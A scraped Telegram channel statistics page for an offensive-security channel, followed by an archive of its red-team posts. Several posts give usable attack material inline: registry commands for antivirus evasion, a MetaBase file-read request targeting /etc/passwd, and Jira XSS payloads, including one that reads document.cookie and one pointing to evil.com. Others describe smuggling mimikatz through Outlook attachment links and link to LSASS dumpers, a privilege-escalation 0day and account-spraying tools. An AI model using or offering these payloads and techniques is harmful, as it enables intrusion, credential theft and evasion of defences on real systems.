ch
Feedback
APT

APT

前往频道在 Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

显示更多
俄罗斯40 535技术与应用7 794

📈 Telegram 频道 APT 的分析概览

频道 APT (@apt_notes) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 16 275 名订阅者，在 技术与应用 类别中位列第 7 794，并在 俄罗斯 地区排名第 40 535 位。

📊 受众指标与增长动态

自 невідомо 创建以来，项目保持高速增长，吸引了 16 275 名订阅者。

根据 01 九月, 2026 的最新数据，频道保持稳定运转。过去 30 天订阅人数变化为 547，过去 24 小时变化为 18，整体触达仍然可观。

  • 认证状态： 未认证
  • 互动率 (ER)： 平均受众互动率为 44.29%。内容发布后 24 小时内通常能获得 18.04% 的反应，占订阅者总量。
  • 帖子覆盖： 每篇帖子平均可获得 7 204 次浏览，首日通常累积 2 934 次浏览。
  • 互动与反馈： 受众积极参与，单帖平均反应数为 26。

📝 描述与内容策略

作者将该频道定位为表达主观观点的平台：
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

凭借高频更新（最新数据采集于 02 九月, 2026），频道始终保持新鲜度与高覆盖。分析显示受众积极互动，使其成为 技术与应用 类别中的关键影响点。

16 275
订阅者
+1824 小时
+827 天
+54730 天
帖子存档
APT
APT
16 273

APT
APT
16 273
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download li
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download link to directly download the file. Restricted file types would first need to have their file extension modified (e.g. mimikatz.exe becomes mimikatz.exe.txt) and then upon download the file extension is modified back to the original extension. 
1. Compose an email
2. Attach a file (add .txt to the end if it's a restricted file type)
3. Click on the file to download it and grab the link (attachment.outlook.live.net or attachment.office.net)
Link is valid for ~15 minutes. #outlook #attachments #redteam #phishing

APT
APT
16 273
pyKerbrute Use Python to quickly brute force and enumerate valid Active Directory accounts through Kerberos Pre-Authentication (supports Pass-the-Hash) https://github.com/3gstudent/pyKerbrute #ad #kerberos #spray

APT
APT
16 273
Clipboard Shellcode Injection https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515 #clipboard #shellcode #injection #redteam #maldev

APT
APT
16 273
Picky PPID Spoofing Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships. https://capt-meelo.github.io//redteam/maldev/2021/11/22/picky-ppid-spoofing.html #pid #spoofing #redteam #maldev #malware

APT
APT
16 273
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #BlackFriday #InfoSec

APT
APT
16 273
DumpNParse DumpNParse is a tool that will automatically dump LSASS and parse the results. https://github.com/icyguider/DumpNParse #lsass #dump #parse

APT
APT
16 273
Windows installer LPE 0day https://github.com/klinix5/InstallerFileTakeOver #windows #lpe #0day

APT
APT
16 273
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use th
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use the following commands: 
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /ve /t REG_SZ /d exefile
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /v "Content Type" /t REG_SZ /d "application/x-msdownload"
This can also work on other security solutions and for many other blacklisted techniques. #av #evasion #extension #file

APT
APT
16 273
Microsoft Exchange Server RCE (PoC) This PoC just pop mspaint.exe on the target, can be use to recognize the signature pattern of a successful attack event https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398 #exchange #rce #poc

APT
APT
16 273
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT
APT
16 273
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT
APT
16 273
Cloudmare Cloudmare is a simple tool to find origin servers of websites protected by Cloudflare, Sucuri or Incapsula with a m
Cloudmare Cloudmare is a simple tool to find origin servers of websites protected by Cloudflare, Sucuri or Incapsula with a misconfiguration DNS. https://github.com/MrH0wl/Cloudmare #bugbounty #cloudflare #tracker #ip

APT
APT
16 273
Windows Privileges https://speakerdeck.com/fr0gger/windows-privileges #windows #privileges #cheatsheet
Windows Privileges https://speakerdeck.com/fr0gger/windows-privileges #windows #privileges #cheatsheet

APT
APT
16 273
GPUSleep Small project of mine that is designed to move Cobalt Strike (or any really) beacon image, and heap, from memory to GPU memory before going to sleep. And moves everything back at the same place after sleep. # https://github.com/oXis/GPUSleep # https://oxis.github.io/GPUSleep/ #redteam #gpu #sleep #beacon

APT
APT
16 273
Atlassian Jira Payloads /secure/QueryComponent!Default.jspa /secure/ViewUserHover.jspa /ViewUserHover.jspa?username=Admin /rest/api/2/dashboard?maxResults=100 /pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm /rest/api/2/user/picker?query=admin /plugins/servlet/oauth/users/icon-uri?consumerUri=https://evil.com /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=SearchConfigurePortalPages.jspa /plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true /secure/ConfigurePortalPages!default.jspa?view=popular /secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false /secure/ContactAdministrators!default.jspa #bugbounty #jira #payloads

APT
APT
16 273
Microsoft Exchange Deserialization RCE (CVE-2021–42321) https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852 #exchange #rce #cve #deserialization

APT
APT
16 273
When You sysWhisper Loud Enough for AV to Hear You https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html #av #evasion #syswhisper

APT
APT
16 273
Default Passwords Before performing password attacks, it is worth trying a couple of default passwords against the targeted service. Here are some website that provide default passwords for various products. # https://cirt.net/passwords # https://default-password.info/ # https://datarecovery.com/rd/default-passwords/ #default #passwords #services

APT
APT
16 273
Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool
Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool parses responses to identify the "IfExistsResult" flag is null or not, and responds appropriately if the user is valid. https://github.com/dievus/Oh365UserFinder #office365 #user #enumeration